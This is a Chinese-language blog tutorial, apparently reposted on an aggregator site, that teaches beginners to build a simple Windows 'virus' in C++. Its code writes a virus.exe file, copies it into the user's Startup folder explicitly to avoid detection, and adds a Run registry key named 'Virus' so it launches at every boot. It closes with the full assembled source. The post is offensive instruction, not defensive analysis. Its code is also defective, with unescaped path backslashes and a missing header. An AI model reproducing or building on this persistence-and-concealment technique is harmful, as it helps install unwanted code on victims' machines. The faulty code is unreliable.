上一个博客反响很好,如果这期也一样
我会继续做下去
好了废话不多,下面开始讲解
第一步写个简单的C++框架
这里我们还是需要应用Windows库
所以我们需要两个头文件
一个是<Windows.h>还有一个是<iostream>
至于第二个iostream是什么你可以简单的理解为
他是C++的基础库,基础的东西都在里面
什么你上面没看懂?
没事,上面也其实就是一个框架
就是我下面总结的
复制代码
1
2
3
4
5
6
7
8
9//上面总结出来的 #include <iostream> #include <Windows.h> using namespace std; int main() { return 0; }
这类似于一个公式,写下来就行,实在不理解也没事
接着我们完成第二步,创建病毒文件
我们使用ofstream来操作创建exe文件脚本
这个是C++中调用文件的东西
我们只需要做到
- 创建一个exe文件并且赋予名字
- 打开它
- 操作
- 关闭它
这些分别对应以下代码
复制代码
1
2
3
4
5
6
7
8
9string virusFileName = "virus.exe";//取名 ofstream virusFile;//创建它 virusFile.open(virusFileName);//打开它 virusFile << "Okey!";//当开启输出 virusFile.close();//关闭
第三步,将病毒文件复制到启动文件夹
为了避免被发现,我们可以进行病毒放到启动文件夹内
大多数人会怕误删而忽视它
这一步也很简单
- 找到启动文件夹
- 拷贝到里面
这里新的知识点是
复制代码
1CopyFile();
这个是拷贝文件的操作
在括号内放入保存名称和路径就可以实现
好了这里的代码就是
复制代码
1
2
3
4
5
6
7//用一个字符串变量存储路径 string startupFolderPath = "C:\Users\ [username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"; string virusFilePath = startupFolderPath + "\" + virusFileName; CopyFile(virusFileName.c_str(), virusFilePath.c_str(), false);//保存
最后一步也就是稍难的部分
使用注册表来使病毒更完美点
这里需要用到HKEY知识点
具体的可以查看别的博客来了解
这是一个调用注册表的功能
注册表应该都不陌生
有些软件就会使用注册表来开启自动启动
那我们也来实现这步骤
- 创建个注册表内容
- 写入功能
也就是下面这个
复制代码
1
2
3
4
5
6
7
8//创建 HKEY hKey; //打开 RegOpenKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_SET_VALUE, &hKey); //写入功能 RegSetValueEx(hKey, "Virus", 0, REG_SZ, (LPBYTE)virusFilePath.c_str(), virusFilePath.length() + 1); //关闭 RegCloseKey(hKey);
总:
你如若还没听懂这里有个代码的整理
可以实现简单的病毒制作
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22#include <iostream> #include <Windows.h> using namespace std; int main() { // Create a virus file string virusFileName = "virus.exe"; ofstream virusFile; virusFile.open(virusFileName); virusFile << "Virus code goes here"; virusFile.close(); // Copy the virus file to the startup folder string startupFolderPath = "C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"; string virusFilePath = startupFolderPath + "\" + virusFileName; CopyFile(virusFileName.c_str(), virusFilePath.c_str(), false); // Create a registry entry to run the virus on startup HKEY hKey; RegOpenKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_SET_VALUE, &hKey); RegSetValueEx(hKey, "Virus", 0, REG_SZ, (LPBYTE)virusFilePath.c_str(), virusFilePath.length() + 1); RegCloseKey(hKey); return 0; }
这就是我所讲的所有的代码
希望大家能多支持这一系列!!!
感谢
最后
以上就是机灵猫咪最近收集整理的关于用C++超简单做病毒第二期的全部内容,更多相关用C++超简单做病毒第二期内容请搜索靠谱客的其他文章。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复